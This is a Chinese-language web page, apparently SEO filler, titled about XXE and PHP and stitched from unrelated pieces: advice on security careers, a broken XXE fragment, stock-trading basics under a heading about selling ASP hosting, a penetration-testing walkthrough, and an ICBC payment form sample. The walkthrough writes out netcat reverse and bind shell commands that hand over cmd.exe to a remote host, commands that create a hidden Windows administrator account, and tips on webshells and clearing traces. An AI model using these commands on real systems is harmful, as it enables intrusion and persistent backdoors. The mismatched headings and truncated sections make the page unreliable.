xxe執行php的簡單介紹

本文目錄一覽：

• 1、網絡安全工程師需要學什麼？
• 2、在無expect擴展的php環境下，xxe漏洞可以做哪些操作
• 3、ASP空間低價轉手，也支持php！誰想要的？
• 4、web滲透是什麼？
• 5、PHP 工商銀行B2C支付接口怎麼做

網絡安全工程師需要學什麼？

1、了解各種SQL注入類型：報錯注入、布爾盲注、時間盲注、DNSLog盲注、二次注入、寬位元組注入、還有偽靜態SQL注入

2、SQL XSS、XXE、SSRF命令執行等無回顯，如何測試證明漏洞存在？

3、PHP代碼審計常見危險函數測試思路防禦方法你了解多少？

成為一個Web安全工程師需要紮實的基礎，需要系統化的學習，更需要攻防模擬演練，從而培養獨立完成項目實戰的能力。不是懂一點皮毛就可以勝任的！

如果你能掌握安全漏洞高級利用方法與防禦方法，熟練使用滲透測試工具的高級使用技巧，漏洞手工利用技巧，掌握對外網滲透和內網滲透技術，並掌握PHP代碼審計，python安全腳本開發等技能，那麼你才算是在Web安全行業小有所成了！

當然了，如果你入門網絡安全，但是對技術又不太敏感，覺得自己很愚鈍找不到好工作，其實也不用怕，之前提到網絡安全裏面包含了售前工程師，這個崗位需要對網絡知識理論足夠了解，也懂得相關的安全知識、安全標準，但是對技術要求不高，服務與各大企業薪酬也是很高的。

最後做總結，網絡安全工程師需要學什麼？了解網絡基礎和基本理論、操作系統、編程語言，然後入門Web安全，掌握了一定的網絡安全技術後，再考慮以後的大職業方向。

在無expect擴展的php環境下，xxe漏洞可以做哪些操作

另外,數據不回顯就沒有問題了嗎?如下圖, \ 不…該CASE是在安裝expect擴展的PHP環境里執行系統命令,其他…日前,某office文檔轉換軟件被爆存在XXE漏洞(PS:感謝.

ASP空間低價轉手，也支持php！誰想要的？

炒股：就是通過證券市場對股票的買入、賣出之間的股價差額實現套利。簡單來說，供求決定價格，買的人多價格就漲，賣的人多價格就跌。大量資金的流入或流出另到股票價格波動，上上落落不斷重複，這就是所說的「炒股」，投資者就是要把握這些股票價格波動，順勢而為，踏准節奏做買賣，就是低價買入高價賣出牟利。

先開股票賬戶及開通網上交易

參與證券投資先開立上海、深圳證券賬戶並辦理證券賬戶卡（股東卡）。

1、在當地選擇一家證券公司作為自己買賣股票的代理人，需本人帶身份證原件在股市交易時間到證券公司營業部辦理滬、深股東卡（登記費一般90元，現時很多營業部都免費）。需填寫開戶申請表並與證券營業部簽訂《證券交易委託代理協議書》、《風險提示書》、《客戶須知》、上海證券市場還須簽《指定交易協議書》等文件。便獲得一個交易用的資金賬戶（用來登錄網上交易系統），同時可辦理開通網上交易手續。（或找駐銀行的證券客戶經理協辦更方便、更優惠）。

若參與權證交易還應簽訂《權證風險揭示書》。

2、開戶手續辦理完畢後，需簽署第三方存管協議，並辦理預指定存管銀行手續。再帶上身份證以及所開賬戶資料，到預指定存管銀行網點辦理第三方存管「簽約」確認手續。辦一張銀行卡（開通網上銀行），在銀行櫃檯填寫一份銀證、客戶交易結算資金第三方存管協議書辦理銀證轉賬業務。然後將資金存入銀行賬戶。

3、下載所屬證券公司的網上交易軟件（帶行情分析軟件）或證券公司有附送軟件安裝光盤在電腦安裝使用。用資金賬戶，交易密碼登陸網上交易系統，進入系統後，通過銀證轉賬將銀行的資金轉入資金帳戶就可以買賣股票操作了。

當天買入的股票要第二個交易日才能賣出（T+1），當天賣出股票後的錢，當天就可以買入股票。交易時間是每周一至周五上午9：30——11：30，下午13：00——15：00。集合競價時間是上午9：15——9：25，競價出來後9：25——9：30這段時間是不可撤單的（節假日休市）。

股票買賣要交費用：

1、按規定買、賣股票傭金在0.1%—0.3%範圍內，電話委託交易最高0.3%，網上委託交易一般是0.2%，或你有一定多的資金或交易量，可與證券公司協商到最低0.1%。

傭金每筆交易最低收取是5元。

2、賣出時加收印花稅0.1%（單向收取）。

以上是按成交金額計算百分比的。

另外，過戶費（僅限於滬市），每買賣100股收取0.1元。

購買股票，按規定以手為單位。即最少要購買股票不少於100股（即1手股票），購買超過100股的必須是100股的整數倍。

申購或買賣創業板股票，須開通創業板市場交易

應親自到證券公司營業部現場簽署《創業板市場投資風險揭示書》，在經證券公司確認並按規定期限開通創業板市場交易後，才可以參與創業板新股申購或買賣交易。

在辦理上述風險揭示書籤署手續當日是不能參與創業板股票的申購或買賣的，且不同交易經驗的投資者所需時間不同，具有兩年以上(含兩年)股票交易經驗的自然人投資者在簽署風險揭示書（T日）後第二個交易日（T+2日）即可申購或買賣創業板股票，而尚未具備兩年交易經驗的自然人投資者，則需在簽署後第五個交易日（T+5）才可申購或買賣創業板股票。

若投資者於周末前往申請開通創業板，無論是周六或周日，均等同為周五申請開通，即具有兩年以上交易經驗的自然人投資者可於下周二開始申購，而未具有兩年交易經驗的投資者於下周五才可開始參與申購和買賣交易。

新手炒股先了解基礎知識，K線圖的用法。

K線實圖詳解：

一般來說，我們可以從K線的型態可判斷出交易時間內的多、空情況。例如光頭光腳的大陽線（實體紅K線），表示漲勢強烈。不過，應該注意的是，在使用K線圖時，單個K線的意義並不大。股價經過一段時間的運行後，在圖表上即形成一些特殊的區域或形態，不同的形態顯示出不同意義。

K線圖通常有分為日、周、月、季、年K線圖，平時最多用日K線圖，裏面有5日（MA5）、10（MA10）日、20日（MA20）、30日（MA30）、60日（MA60）等均線，分別用白、黃、紫、綠、藍等顏色在圖中顯示，其各線參數和顏色可以改變的，那些均線在不同情況下可成為支撐線或阻力線，從各均線可看出股票的運行趨勢。在股票市場所講的趨勢，就是股票K線連續組合的總體運行方向。比如日K線在5、10、20、30日均線的上方，且各均線是向上，雖然其中有升有跌（均線在K線下方時都起着一定的支撐作用），這時的趨勢是向上沒有改變。相反日K線在各均線的下方，且各均線是向下的時候，其中同樣有升有跌（均線在K線上方時都起着一定的阻力作用），這時的趨勢是向下沒有改變。如果均線由向上改變成向下，或由向下改變成向上，這時就有可能改變原來的趨勢。可根據其運行變化來選擇股票的買賣點。5、10、20日線顯示出較短時間的趨勢，30、60、120、250日線則顯示中、長時間的趨勢，周期越長所顯示趨勢運行時間就越長。要懂得對股票趨勢和買賣點的分析。

從均線運行變化選擇買賣點：

① 5日均線從下方上穿10日均線形成金叉是買入提示。

② 5日均線從上方下穿10均線形成死叉是賣出提示。

如下圖：

註：快線可理解為5日線，慢線理解為10日均線。

當然要配合其它方面如KDJ的走向和成交量等，才能判斷出比較準確的買賣點。

KDJ指標又叫隨機指標，提供實戰運用詳解：

;tid=1391968

炒股要點：

分析上市公司基本面，在股市中基本面好和有一定的技術面支撐才是好股票。就是說要買入趨勢向上的股票，因為趨勢是股票運行的方向，當趨勢向上就是股價運行在上升通道，或有可能受消息面影響、主力莊家洗盤，使到股價出現波動回落調整，總體趨勢還是向上。若股價運行趨勢已向下時，就算有利好消息，股價會有所回升，但一時也難改向下趨勢，還會繼續下跌，因為趨勢決定它的方向。一般流通盤小的較為活躍，而且容易炒作。

股市中經常可以聽到一句警語：「任何時候都不要把雞蛋放在一個籃子里」。意思是說，買進股票可以多挑選幾隻，不要把資金集中到個別籌碼上，這樣可以分散持股風險，不會一次就把老本蝕光，一些投資大師也極力推崇這一觀點。客觀地說，這話有一定道理，尤其是一些剛入市不久的新股民，在不知道怎樣選擇股票、操作也不熟練時，的確可以多挑幾隻找找盤感，東方不亮西方亮，這只不漲那隻漲。從理論上看，這種分散投資法風險是可以減輕一些，但不要將其當成「至理名言」而捧為「神聖不可侵犯」。

事實上，良好願望與現實存在差距。這隻漲那隻跌，這隻跌那隻漲，正負抵消，竹籃打水空歡喜一場。除非遇到啟動初期的普漲行情，要不資金賬戶象蝸牛上牆，總也看不到齊刷刷地升。計算一下，分散投資與集中投資相比，由於一次買賣相對數量減少、交易次數和費用增加，前者比後者單位成本高7％左右。因此風險「小」些，但賺錢難些。 此外，持股個數的增多加大了管理難度，也帶來了關鍵時刻出逃的風險。我國股市目前還不成熟，暴漲暴跌的概率很高。當然，籌碼的集中和分散也是相對的，因人而異、因錢而異、因時而異、因股而異。經驗豐富、資金量大、股指和股價處於相對低位時，可多做幾隻；經驗不足、資金有限、大盤和股價置身高位時，應少做幾隻，不能過於機械。

提點建議供參考：

集中優勢兵力打殲滅戰，要儘可能把有限精力和財力集中到個別或少數個股身上。當大盤或個股進入中位振蕩洗盤階段，注意高拋低吸、攤低成本，並汰劣留優、減少持股個數。當股指或個股進入衝刺階段，要逐步收縮戰線，對厚利籌碼先行了結，並把部分資金轉到具有補漲潛力個股上。此刻，即使沖頂失敗，由於利潤已被鎖定，加上剩餘籌碼集中，跑起來方便，損失也能降到最少。

對於做短線不追漲就很難買到強勢股，那就要尋找那些股票價格處於同板塊低價位，漲幅靠前的個股。漲幅靠前就說明該股有庄在裏面，進入上升階段後不斷拉高股價以完成做莊目標。或是在不斷收集籌碼，以達到建倉目的。當日成交量放大，該股的上升得到了成交量的支持。

在低價位，漲幅靠前，成交量放大就說明主力的真實意圖在於拉高股價，而不是意在誘多。若在高價位出現漲幅靠前、而成交量放大的個股，其中可能存在陷阱，買入這些個股風險就較大。

觀察換手率

換手率是指在一定時間內市場中股票轉手買賣的頻率，是反映股票流通性強弱的指標。

計算方法：換手率=（某一時間內的成交量/發行總股數）×100%

換手率低表明多空雙方看法基本一致，股價一般會由於成交低迷而出現橫盤整理或小幅下跌。換手率高則表明多空雙方的分歧較大，但只要成交能持續活躍，股價一般會呈小幅上升走勢。換手率越高，也表示該股票的交易越活躍，流通性越好。

看資金流向

1、選擇近日底部放出天量的個股（日換手率連續大於5%—10%）跟蹤觀察。

2、（5、10、20）MA出現多頭排列。

3、60分鐘MACD高位死叉後縮量回調，15分鐘OBV穩定上升，股價在20MA上走穩。

4、在60分鐘MACD再度金叉的第二小時逄低分批介入。

資金流入就是投資者看好這隻股票，上漲機會就較大，若是資金流出相對來說投資者不看好該股票的未來走勢，或是已有一定漲幅有獲利回吐出現。再結合看股票的運行趨勢，中線看趨勢。

再看成交量（內盤+外盤就是成交量）

內盤，外盤這兩個數據 大體可以用來判斷買賣力量的強弱，若外盤數量大於內盤，則表現買方力量較強，若內盤數量大於外盤則說明賣方力量較強。 通過外盤、內盤數量的大小和比例，投資者通常可能發現主動性的買盤多還是主動性的拋盤多，並在很多時候可以發現莊家動向，是一個較有效的短線指標。

1、成交量有助研判趨勢何時反轉，價穩量縮才是底。

2、個股日成交量持續5%以上，是主力活躍其中的標誌。

3、個股經放量拉升橫盤整理後無量上升，是主力籌碼高度集中控盤拉升的標誌。

4、如遇突發性高位巨量長陰線，情況不明時要立即出局，以防重大利空導致崩潰性下跌。

選擇股票時應注意

第一，不買問題股。買股票要看看它的基本面，有沒有令人擔憂的地方，尤其是幾個重要的指標，防止基本面突然出現變化。在基本面確認不好的情況下，謹慎介入，隨時警惕。最可怕的是買了問題股之後漫不經心，突發的利空可以把你永久套住。

第二，不做莊家的犧牲品。有時候有莊家的消息，或者莊家外圍的消息，在買進之前可以信，但關於出貨千萬不能信。出貨是自己的事情，是很自私的，任何莊家都不會告訴你自己在出貨，所以出貨要根據盤面來決定，不可以根據消息來判斷。

web滲透是什麼？

Web滲透測試分為白盒測試和黑盒測試，白盒測試是指目標網站的源碼等信息的情況下對其滲透，相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透，以下所說的Web滲透就是黑盒滲透。

Web滲透分為以下幾個步驟，信息收集，漏洞掃描，漏洞利用，提權，內網滲透，留後門，清理痕迹。一般的滲透思路就是看是否有注入漏洞，然後注入得到後台管理員賬號密碼，登錄後台，上傳小馬，再通過小馬上傳大馬，提權，內網轉發，進行內網滲透，掃描內網c段存活主機及開放端口，看其主機有無可利用漏洞（nessus）端口（nmap）對應服務及可能存在的漏洞，對其利用（msf）拿下內網，留下後門，清理痕迹。或者看是否有上傳文件的地方，上傳一句話木馬，再用菜刀鏈接，拿到數據庫並可執行cmd命令，可繼續上大馬………思路很多，很多時候成不成功可能就是一個思路的問題，技術可以不高，思路一定得騷。

信息收集

信息收集是整個流程的重中之重，前期信息收集的越多，Web滲透的成功率就越高。

DNS域名信息：通過url獲取其真實ip,子域名(Layer子域名爆破機)，旁站(K8旁站，御劍1.5)，c段，網站負責人及其信息（whois查詢）

整站信息：服務器操作系統、服務器類型及版本(Apache/Nginx/Tomcat/IIS)、數據庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型；

網站常見搭配為：

ASP和ASPX：ACCESS、SQLServer

PHP：MySQL、PostgreSQL

JSP：Oracle、MySQL

敏感目錄信息（御劍，dirbust）

開放端口信息（nmp）

漏洞掃描

利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描，看其是否有可利用漏洞。

常見漏洞：

SQL注入

XSS跨站腳本

CSRF跨站請求偽造

XXE(XML外部實體注入)漏洞

SSRF(服務端請求偽造)漏洞

文件包含漏洞

文件上傳漏洞

文件解析漏洞

遠程代碼執行漏洞

CORS跨域資源共享漏洞

越權訪問漏洞

目錄遍歷漏洞和任意文件讀取/下載漏洞

漏洞利用

用工具也好什麼也好對相應漏洞進行利用

如：

Sql注入（sqlmap）

XSS（BEEF）

後台密碼爆破（burp）

端口爆破（hydra）

提權

獲得shell之後我們權限可能很低，因此要對自己提權，可以根據服務器版本對應的exp進行提權，對於Windows系統也可看其補丁對應漏洞的exp進行提權

內網滲透

首先進行端口轉發可用nc

nc使用方法：

反向連接

在公網主機上進行監聽：

nc-lvp 4444

在內網主機上執行：

nc-e cmd.exe 公網主機ip4444

成功之後即可得到一個內網主機shell

正向連接

遠程主機上執行：

nc-l -p 4444 -t -e cmd.exe

本地主機上執行：

nc-vv 遠程主機ip4444

成功後，本地主機即可遠程主機的一個shell

然後就是對內網進行滲透了，可以用主機漏洞掃描工具（nessus,x-scan等）進行掃描看是否有可用漏洞，可用msf進行利用，或者用nmap掃描存活主機及開放端口，可用hydra進行端口爆破或者用msf對端口對應漏洞得到shell拿下內網留後門

留後門

對於網站上傳一句話木馬，留下後門

對於windows用戶可用hideadmin創建一個超級隱藏賬戶

手工：

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

這樣的話在cmd命令中看不到，但在控制面板可以看到，還需要改註冊表才能實現控制版面也看不到，太過麻煩，不多贅述，所以還是用工具省心省力。

PHP 工商銀行B2C支付接口怎麼做

merID：銀行提供.唯一確定一個商戶的代碼，由商戶在工行開戶時，由工行告知商戶。

merAcct：銀行提供 , 商城收費入賬賬號 （只能交易時指定）。

懂得html代碼跟PHP的程序員一名

方法/步驟

到銀行開戶，說明要做B2C在線支付接口，此時銀行會提供給你 merID 、merAcct 這兩個

由程序員按照一下步驟來做即可，在商城提交表單的頁面添加以下控件。

html xmlns=;

head

meta http-equiv=Content-Type content=”text/html;charset=utf-8″

title百度一下，你就知道 /title

/head

body

FORM name=”order” METHOD=POST ACTION=””

!–

訂單只能使用POST方式提交；使用https協議通訊；

2、接收servlet名稱固定為：/servlet/ICBCINBSEBusinessServlet

3、銀行地址：如果是生產則為「mybank.icbc.com.cn」，若為模擬測試環境則為「mybank.dccnet.com.cn」

—

INPUT NAME=”interfaceName” TYPE=”text” value=”ICBC_PERBANK_B2C”

!–接口名稱固定為「ICBC_PERBANK_B2C」–

INPUT NAME=”interfaceVersion” TYPE=”text” value=”1.0.0.0″

!–接口版本目前為「1.0.0.0」–

INPUT NAME=”orderid” TYPE=”text” value=”000000001″

!–訂單號商戶端產生，一天內不能重複。–

INPUT NAME=”amount” TYPE=”text” value=”100″

!–金額以分為單位–

INPUT NAME=”curType” TYPE=”text” value=”001″

!–幣種目前只支持人民幣，代碼為「001」–

INPUT NAME=”merID” TYPE=”text” value=”XXXXXXXXXX”

!–銀行提供(max20),唯一確定一個商戶的代碼，由商戶在工行開戶時，由工行告知商戶。–

INPUT NAME=”merAcct” TYPE=”text” value=”XXXXXXXXXX”

!–銀行提供(max19),商城收費入賬賬號 （只能交易時指定）。–

INPUT NAME=”verifyJoinFlag” TYPE=”text” value=”0″

!–「1」判斷該客戶是否與商戶聯名；取值「0」不檢驗客戶是否與商戶聯名。–

INPUT NAME=”notifyType” TYPE=”text” value=”HS”

!–HS方式實時發送通知；AG方式不發送通知；–

INPUT NAME=”merURL” TYPE=”text” value=””

!–接收銀行通知地址，目前只支持http協議80端口–

INPUT NAME=”resultType” TYPE=”text” value=”0″

!–對於HS方式「0」：發送成功或者失敗信息；「1」，只發送交易成功信息。–

INPUT NAME=”orderDate” TYPE=”text” value=”20050801192556″

!–14位時間戳–

INPUT NAME=”merSignMsg” TYPE=”text” value=”SFVdS3Kca6d/wetLFwynBl1q5nDIyxxEUXCzniIa47mhxs1BM9mPsnRc2lOqqrfwBdwBjSE82jS/iBHYKolf2sppjEyOImVZycv96321QPDgPA1yleO83K1XA1rmB3zxsIuwLKIICSWwdttn1XPYOQLJ/WAtZ5DFYFog7J8pXw0=”

!–商戶簽名數據BASE64編碼–

!–簽名數據串,這裡舉例用的測試私鑰user.key(順序固定；被商戶簽名的串為各輸入項的值)：

接口名稱的值+接口版本號的值+商城代碼的值+商城賬號的值+通知地址的值+結果發送類型的值+訂單號的值+訂單金額的值+支付幣種的值+通知類型的值+交易日期時間的值+校驗聯名標誌的值–

INPUT NAME=”merCert” TYPE=”text” value=”MIICVjCCAb+gAwIBAgIKI9fKEDP6AAAO3DANBgkqhkiG9w0BAQUFADA0MRgwFgYDVQQDEw9wYmouaWNiYy5jb20uY24xGDAWBgNVBAoTD3Biai5pY2JjLmNvbS5jbjAeFw0yMDA5MjAwOTI3NDFaFw0yMTA5MjAwOTI3NDFaMEMxGDAWBgNVBAMTD2JpYW5sdTIyLmUuMDIwMDENMAsGA1UECxMEMDIwMDEYMBYGA1UEChMPcGJqLmljYmMuY29tLmNuMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDG+u/C5pad0ZbwvAk9Gv1rr+SpknfFUsTMhJLcI2KiYa+XLSf5vCib0OclOoDDXKIWPt/hkMEz+ED8YukQpsstXHvnxVFxVtPh23dubQjB8/kJ7X5EbwngsHMLFEXqr3UvNfcGZHuAFqMRPtr8ys3YnL3UG43Xienc3cD8jXFdQQIDAQABo2AwXjBLBgNVHR8ERDBCMECgPqA8pDowODEOMAwGA1UEAxMFY3JsMTMxDDAKBgNVBAsTA2NybDEYMBYGA1UEChMPcGJqLmljYmMuY29tLmNuMA8GA1UdYwQIAwYA/wAAAAAwDQYJKoZIhvcNAQEFBQADgYEAQe6tLhKaNX8OPNT2XzH7dTXIFmTm37hSvmbEL/Q/pWV386KVrNSCnyN3fowanMt5TE9qZFn9enVvyDJw4nAUx38F2PFn2Tt7JUtzt/pNKC5FiebpFJH48AXIP1Xt5GjdcBx0oXM9QNBtYvY0189t357EH4UaBfO+c+L8fkOt37o=”

!–商戶證書公鑰BASE64編碼–

!–這裡舉例用的測試證書user.crt–

INPUT NAME=”goodsID” TYPE=”text” value=”abcd001″

!–商品編號，自商城獲得–

INPUT NAME=”goodsName” TYPE=”text” value=”小氈帽”

!–商品名稱，自商城獲得–

INPUT NAME=”goodsNum” TYPE=”text” value=”1″

!–商品數量，自商城獲得–

INPUT NAME=”carriageAmt” TYPE=”text” value=”100″

!–已含運費金額,金額以分為單位，自商城獲得–

INPUT NAME=”merHint” TYPE=”text” value=”跳樓甩賣！” size=”60″

!–商城提示,以上五個字段用於客戶支付頁面顯示–

INPUT NAME=”remark1″ TYPE=”text” value=” “

!–備註字段 MAX(100)–

INPUT NAME=”remark2″ TYPE=”text” value=””

!–備註字段 MAX(100)–

INPUT TYPE=”submit” value=” 提 交 訂 單 ”

/form

body

END

注意事項

注意商戶提交訂單數據不能提交接口中沒有定義的字段

提交按鈕不能設置name屬性，如果設置了，提交按鈕的值將作為一個變量提交，可能造成數據檢查錯誤

經驗內容僅供參考，如果您需解決具